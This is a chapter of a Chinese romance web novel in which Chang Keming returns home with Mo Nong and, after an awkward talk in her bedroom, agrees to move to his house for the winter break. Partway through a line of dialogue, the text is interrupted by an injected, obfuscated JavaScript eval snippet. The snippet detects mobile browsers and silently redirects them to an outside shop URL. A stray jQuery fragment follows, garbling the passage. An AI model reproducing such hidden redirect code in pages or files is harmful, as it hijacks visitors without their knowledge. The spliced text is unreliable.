常可名是被后备箱关门的声音吵醒的。
后备箱门沉沉落下,撞击的重响在狭小车内空间里横冲直撞,车身被震得微微一晃,随即又归于平静。
醒来之后,甚至还没等理智回笼,常可名下意识做的第一件事情,就是扭头看向车辆驾驶员的位置。
果然,驾驶位上空空如也。
车子已经停了。
她直起身体,探头往窗外看了一眼,在窗外看见了自己的家门口。
独栋小院外的铁门还紧闭着,看起来应该是车辆刚停下来,还来不及摁响门铃通知屋内的人。
见状,常可名把先前放在双腿上的围巾重新围好,又理了理自己略微凌乱的长发,然后手握住门把手,打开了车门。
开门的一瞬间,冷风争先恐后地从门缝中涌进来,瞬间把她的脑子给吹醒了。
她就是在这时候看见莫浓的。
“醒了吗?”
莫浓拖着行李箱从车后走来,行李箱的轮子在地上发出轻微的滚动声。
不过,见她醒了之后,莫浓没有把手中的行李箱交还给她,只是伸手指了一下她家的方向,对她说:
“你先按门铃,让叔叔阿姨开门,我帮你把东西搬进去。”
常可名照着莫浓说的做了。
回家之前,她有跟父母发过消息说自己大概什么时候到家。所以,屋内的人似乎早就在等着她的到来,按响门铃之后,门一下子就开了。
出来迎接的人是常母,她的身上还围着围裙,应该是正在准备晚餐。
见到站在门口的常可名,常母如同上次回家那样,伸手就把常可名揽进怀里。拥抱持续了几秒后,她才依依不舍地松开手臂,眼睛慈爱地来回在常可名身上打量着,招呼她赶紧进屋:
“终于回来了。快快快,来进屋坐着。”
把常可名推进屋后,她又冲后面还在搬东西莫浓喊道:
“小莫啊,麻烦你了,待会儿一起吃晚饭吧!”
“嗯,好。”
莫浓没有拒绝,笑着答应了下来。
常可名就这样跟着母亲一起进到屋内。走过玄关,路过厨房方向时,她略微扭头往里面看了一眼,果不其然在里面看见了常父忙碌的身影。
常母带着她走到客厅的位置,替她解下围巾和外套,又给她倒了热水。
“我先去厨房忙,你在这儿坐一会儿啊,饭菜马上好。”
常母和蔼地说。
常可名目送母亲围着围裙的背影,手里捧着装有热水的玻璃杯,按照她的吩咐,乖乖地坐在沙发上等待着。
可能连她自己都没感觉出来,此时的她在旁观者看起来,比起回到自己家里的人,更像是做客的客人,动作中本能地流露出一丝拘谨和不自然。
直到莫浓搬着纸箱走了进来,常可名这才急切地从沙发上站起身,走到他的身旁,身体不自觉地靠近他。
她一把提起行李箱的把手,吐字小声而快速地对莫浓说道:
“我跟你一起上去吧。”
说完,她拎着行李箱,脚步迈大跨了一步,一只脚踩到了台阶上。
莫浓没有说话,只是眨了眨眼睛。
他似乎把常可名的行为理解为了别的意思,片刻之后才点点头,若有所思地说:
“确实,我独自进你的房间不太合适。”
听见他说的话,被误会的常可名脸上顿时泛起薄薄的红晕,但她没有出声解释,反而是加快了爬楼梯的脚步。看起来,远离客厅比遮掩她的羞怯更加急切。
一直走到三楼,常可名放下行李箱,单手扭开门把手,侧身用肩膀顶开房门钻进房间内。
由于还没到晚上睡觉时间,二三楼的暖气开得没有一楼充足,比起一楼来温度稍低一点儿。
把行李箱拖到房间靠墙处放好之后,常可名打开了灯的开关。
黑暗瞬间被灯光驱散,暖色的灯光让房间内的温度似乎都跟着略微升高。
这时候,身后传来了敲门声。
抱着纸箱的莫浓站在敞开的房间门口处。他收回叩门的手,向房间内的常可名请求道:
“我可以进来吗?”
“啊……快进来快进来。”
常可名连忙把门再打开了一些,方便莫浓进入房间,然后又向他指了指房间中央的地板,示意他放下箱子:
“你随便放就行,我一会儿还要收拾,放哪里都没关系。”
“好,那箱子我就在放这里了。”
尽管如此,莫浓还是没把纸箱放在中间挡道的位置。
他抬头打量了一下四周,看见靠在墙边的行李箱后,他走过去,把纸箱跟它并排放好。
东西全部都搬完了。
一旦安静下来,无事可干之后,常可名便有些不知所措起来。
她按照着脑子里为数不多的待客知识,先给莫浓搬了一张椅子,然后又搬了一张椅子挨着前一张椅子放下。
莫浓没有说什么,很自然地顺着她搬来的椅子坐下,而等常可名要坐下时,她才发现自己把两张椅子放得好像有些太近了。
但现在再来调整椅子好像不太合适,常可名只能硬着头皮在另一张椅子坐下。
等到坐下之后,常可名才意识到一个问题。
似乎……似乎他们应该回客厅才对呀。
在客厅的话,那里有茶水和水果,她就方便招待作为客人的莫浓了。而且客厅离餐厅更近,随时能看见晚饭是否准备好了,去餐厅吃饭也更加方便。
坐在客厅里,就不会像现在这样,坐在她的房间里面面相觑这么尴尬了。
不过,莫浓为什么没有提醒她呢。
她默默心想着。
以莫浓的处事方式来看,在坐下之前——不,应该是在她搬椅子之前,他就会出声提议去楼下客厅坐会儿,在那里等待开饭才对。
但是他没有这么做。
难道是因为……他想跟自己独处一会儿吗?
想到这里,常可名悄然抬眼看了一眼身旁的莫浓。
他安静地坐在那里,目光还停留在靠墙的箱子上,似乎是在思考什么。
不知道怎么回事,他那平静的态度似乎感染了常可名。她忽然发觉自己似乎也并没有感到多么尴尬了,踏入家门时产生的拘谨如冰一般消融,心中的依赖不自觉地朝着莫浓涌去。
她的身体不由自主地往莫浓的方向又靠了一点儿。
就在这时,莫浓开口了。
他的目光从墙边的箱子收了回来,转而落在常可名身上:
“如果寒假你决定留在家里的话,那我们
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17804688|204728||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
还是像元旦那样,你每晚睡前给我打一个电话吧。”
这个话题跳得有些唐突,以至于常可名听到他的话之后,先是愣了几秒,然后才想起来那个尚未敲定的寒假方案。
按照原本她跟莫浓商量的计划,她应该是借住到莫浓家里去的。这不仅是为了方便随时能缓解她的头疼,同时两人还能一起为考研或者保研作准备,可谓是一个两全其美的计划。
但是由于昨天晚上的误会,这个计划似乎陷入了待定的模糊状态。
常可名没想到莫浓居然重新给了她两个选项,这跟他们之前的约定相悖的——莫浓曾经说过,如果她犹豫不决的话,他会替她做决定的。
莫浓现在把决定权交回给常可名了。
这让她的心底忍不住产生了一丝惶恐。
尽管那些约定束缚住了她,但是从某种程度上来说,那束缚住她的丝线,也是将他们捆绑在一起的丝线,唯有透过丝线的颤动,她才能获得自己存在的实感,进而摆脱心中黑洞产生的空虚。
在这份恐惧的驱使下,常可名怀着忐忑,微微侧头回望向莫浓。她流露出卸下所以选择的意愿,神情中满是柔软的依赖,像是她对选项已经完全不在意了,唯一目的只是为了让莫浓满意。
她轻声恳请道:
“你可以帮我做决定吗?”
“对我而言,怎么选都没区别。”
莫浓语气寻常,可那寻常底下,总让人觉得透着隐约的别意:
“你不愿意的话,我的决定也没有意义。”
听到熟悉的“不愿意”,常可名瞬间感到一阵窘迫,她下意识低头藏起自己脸上的红晕,却又立即抬起头偷偷望向莫浓的脸,打量他的神色。
“莫浓……”
她软软地喊了一声:
“昨晚的事情,你还在生气了吗?”
“嗯,我确实有点生气。”
莫浓直白地承认了。
然而,他的语气却十分平和,像是连生气这种情绪都不会停留在他的脸上,平静得缺少活人的生机,也让人感到一阵若有若无的疏远。
说完这句话之后,他没有再继续说话。
他的目光笼罩在常可名身上,那目光如他的语气一样平和,不带任何情绪,仿佛是在观察她的言行举止,等待着她的主动表现。
常可名被这目光攫住了,一时间手足无措。
这是莫浓第一次明确地向她表达“生气”的情绪,可他就连生气也是如此克制,没有责备也没有质问,以至于她心中顿时涌起自己做错了的愧疚,还有想要补偿对方的急切心情。
该怎么样才能让莫浓不生气呢……
常可名双眼迷茫地眨了眨。
她已经把选择权交出来了,还要拿些什么出来,才能他满意呢?
啊。
就在这时,常可名忽然想到了。
她心底翻滚着紧张和忐忑,身体似乎也跟着再次微微向莫浓的身旁倾斜。仰起的面庞上,眼睛在灯光的照映下泛出柔润的光泽。
她的目光终于不再躲闪,而是笔直地看向莫浓,像是下定了某种决心。
“明天……明天下午我就搬去你家。”
常可名轻声说:
“你一定要在家里等我。”
“好吗?”